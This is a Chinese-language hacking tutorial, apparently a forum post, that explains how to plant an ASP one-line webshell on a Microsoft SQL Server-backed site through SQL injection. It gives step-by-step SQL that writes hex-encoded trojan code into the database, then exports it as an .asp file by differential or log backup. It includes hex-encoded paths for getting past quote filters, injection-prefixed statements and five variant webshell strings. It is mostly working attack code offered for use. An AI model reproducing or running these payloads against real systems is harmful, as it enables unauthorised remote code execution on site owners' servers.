MSSQL差異備份,就是和前一次備份作對比,把不一樣的內容備份下來,這樣,只要前一次備份後,插入新的內容,差異備份就可以把剛插入的內容備份出來,而這個備份文件將大大減少,得到webShell的成功也提高了不少!
差異備份的流程大概這樣:
1.完整備份一次(保存位置當然可以改)
backup database 庫名 to disk = 'c:\ddd.bak';--
2.創建表並插曲入數據
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
3.進行差異備份
backup database 庫名 to disk='目標位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上面
0x3C25657865637574652872657175657374282261222929253E
就是一句話木馬的內容:<%execute(request("a"))%>
如下是網上常見的差異備份代碼,思路一樣!
===================================================
利用差異備份提高提高backupwebshell的成功率,減少文件大小
步驟:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT
0x77006F006B0061006F002E00620061006B00為wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
聲明:方法不是我想的,我只是寫工具,默認得到shell是
<%execute(request("a"))%>
===============================================================
我發現上面代碼,有時會無效,而直接用
backup database 庫名 to disk = 'c:\ddd.bak'
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 庫名 to disk='目標位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
卻可以成功,所以把最原始的方法寫出來!思路是前人所創,這不說大家也知道的!
庫名 必須要有效的庫名,一般注入工具都可以得到!如果某站過濾 "‘",就要把字符內容轉為數值了!
網上還有log增量備份的,我也把他記錄一下
=====================================================
另一種log增量備份技術:
';alter database null set RECOVERY FULL--
';create table cmd (a image)--
';backup log null to disk = 'f:\cmd' with init--
';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292
9253EDA)--
';backup log null to disk = '備份路徑'--
PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句話小馬16進制轉來的
說到一句話馬,還可以有這麼幾種寫法:
a).<%%25Execute(request("a"))%%25>
b).<%Execute(request("a"))%>
c).%><%execute request("a")%><%
d).<script language=VBScript runat=server>execute request("a")</script>
e).<%25Execute(request("a"))%25>